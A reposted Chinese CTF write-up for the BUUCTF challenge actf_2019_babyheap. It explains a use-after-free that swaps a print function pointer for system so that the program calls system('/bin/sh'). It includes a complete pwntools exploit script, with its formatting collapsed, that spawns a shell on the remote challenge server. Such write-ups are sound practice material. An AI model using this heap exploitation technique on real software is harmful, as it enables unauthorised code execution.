BUUCTF-----actf_2019_babyheap (UAF)
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF-----actf_2019_babyheap (UAF)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
這道題和之前做的 hitcontraining_uaf 這道題類似
64位程序,沒開PIE
并且這里發現了 bin/sh 字符串
ptr[v1] [1] 所存放的 printf_0函數內容為
利用思路:
ptr[v1]改寫成bin/sh的地址,將ptr[i][1]處原先的print_content函數改成system,這樣在執行show的時候就會執行system(‘/bin/sh’),就能夠獲取shell
#!/usr/bin/env python
coding=utf-8
from pwn import * context(log_level = 'debug') r = remote("node3.buuoj.cn","26354") #r=process('./ACTF_2019_babyheap')elf=ELF('./ACTF_2019_babyheap') def create(size,payload): r.sendlineafter("Your choice: ",'1') r.sendlineafter("Please input size: \n",str(size)) r.sendafter("Please input content: \n",payload) def delete(index): r.sendlineafter("Your choice: ",'2') r.sendlineafter("Please input list index: \n",str(index)) def printf(index): r.sendlineafter("Your choice: ",'3') r.sendlineafter("Please input list index: \n",str(index)) create(0x200,'index:0') create(0x200,'index:1') delete(0) delete(1) #gdb.attach(r) create(0x10,p64(0x602010) + p64(elf.symbols["system"])) printf(0) r.interactive()總結
以上是生活随笔為你收集整理的BUUCTF-----actf_2019_babyheap (UAF)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 栈劫持(栈迁移)介绍
- 下一篇: 汇编小程序---计算十以内两个数的相加